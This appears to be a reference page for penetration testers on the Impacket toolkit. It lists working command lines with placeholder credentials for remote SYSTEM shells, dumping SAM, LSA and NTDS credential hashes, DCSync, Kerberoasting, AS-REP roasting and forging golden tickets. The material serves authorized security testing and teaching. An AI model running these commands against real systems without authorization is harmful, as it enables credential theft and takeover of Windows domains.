GO KALI FREE

Impacket

Post Exploitation

Advancedhigh risk

Impacket is a versatile collection of Python classes for working with network protocols. It features low-level programmatic access to packets alongside specific full-featured scripts for interacting with Windows domains.

Installation

sudo apt install python3-impacket

Basic Syntax

impacket-<script_name> [options]

Quick Facts

Full Name
Impacket
License
Apache 2.0
Language
Python
Interface
CLI (multiple scripts)
Category
Protocol Toolkit
Protocols
SMB, WMI, Kerberos, LDAP, MSRPC

Tool Overview

Impacket is a comprehensive collection of Python classes and scripts for working with Windows network protocols at a low level. It provides penetration testers with powerful tools for remote execution, credential extraction, and protocol-level attacks.

From remote shell access to full Active Directory database extraction, Impacket's scripts cover the entire post-exploitation lifecycle in Windows environments.

Common Commands

impacket-psexec example.com/<USER>:<PASS>@10.10.10.10Get a SYSTEM shell over SMB using the PsExec-style service technique
impacket-smbexec example.com/<USER>:<PASS>@10.10.10.10Semi-interactive shell via service creation, quieter than psexec
impacket-wmiexec example.com/<USER>:<PASS>@10.10.10.10Execute commands over WMI without dropping a service binary
impacket-atexec example.com/<USER>:<PASS>@10.10.10.10 whoamiRun a single command via the Windows Task Scheduler
impacket-dcomexec example.com/<USER>:<PASS>@10.10.10.10Execute commands through DCOM objects
impacket-secretsdump example.com/<USER>:<PASS>@10.10.10.10Dump SAM, LSA secrets, and cached credentials from a host
impacket-secretsdump -just-dc example.com/<USER>:<PASS>@10.10.10.10Perform a DCSync to extract all domain hashes from a DC
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCALDump secrets from offline registry hive files
impacket-GetNPUsers example.com/ -usersfile users.txt -no-pass -dc-ip 10.10.10.10AS-REP roasting: find users that do not require Kerberos pre-auth
impacket-GetUserSPNs example.com/<USER>:<PASS> -dc-ip 10.10.10.10 -requestKerberoasting: request TGS tickets for accounts with SPNs
impacket-getTGT example.com/<USER>:<PASS> -dc-ip 10.10.10.10Request a Kerberos TGT and save it as a .ccache file
impacket-getST -spn cifs/host.example.com -impersonate Administrator example.com/<USER>:<PASS>Request a service ticket, optionally with S4U impersonation
impacket-ticketer -nthash <HASH> -domain-sid <SID> -domain example.com AdministratorForge a golden/silver Kerberos ticket
impacket-smbclient example.com/<USER>:<PASS>@10.10.10.10Interactive SMB client for browsing shares and transferring files
impacket-smbserver share /path/to/file -smb2supportSpin up an SMB server to host files for transfer

Step-by-Step Guide

  1. 1Select the module that fits your specific objective
  2. 2Input the required authentication details
  3. 3Run the script against the desired system
  4. 4Navigate the resulting session or parse the extracted information
  5. 5Utilize the output to further compromise the environment

Use Cases

Remote Execution

Execute commands via PsExec, wmiexec, smbexec.

Credential Dumping

Extract SAM, LSA, and NTDS.dit remotely.

Kerberos Attacks

Perform AS-REP roasting and Kerberoasting.

SMB Server

Host SMB shares for file transfer operations.

Key Features

Related Tools

CrackMapExec

Post Exploitation

AD automation toolkit.

Mimikatz

Post Exploitation

Windows credential extraction.

Evil-WinRM

Post Exploitation

WinRM remote shell.

Frequently Asked Questions

What is Impacket used for?

Impacket is a collection of Python classes for working with Windows network protocols. It includes ready-to-use scripts for remote execution (psexec, wmiexec, smbexec), credential dumping (secretsdump), and Kerberos attacks.

What is the difference between psexec, wmiexec, and smbexec?

psexec uses SMB and Service Control Manager for execution, wmiexec uses WMI (more stealthy), and smbexec creates a semi-interactive shell via SMB. Each has different noise levels and detection risks.

Can Impacket perform Kerberos attacks?

Yes, Impacket includes scripts for Kerberos attacks including GetNPUsers (AS-REP roasting), GetUserSPNs (Kerberoasting), ticketer (golden/silver tickets), and PKINITtools for certificate-based authentication.

How does secretsdump work?

secretsdump performs remote extraction of SAM, LSA secrets, and NTDS.dit from domain controllers. It can dump local account hashes, cached domain credentials, and the full Active Directory database.

Tags

#post-exploitation#network-protocols#smb#windows-pentesting

Ethical Usage Notice

This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.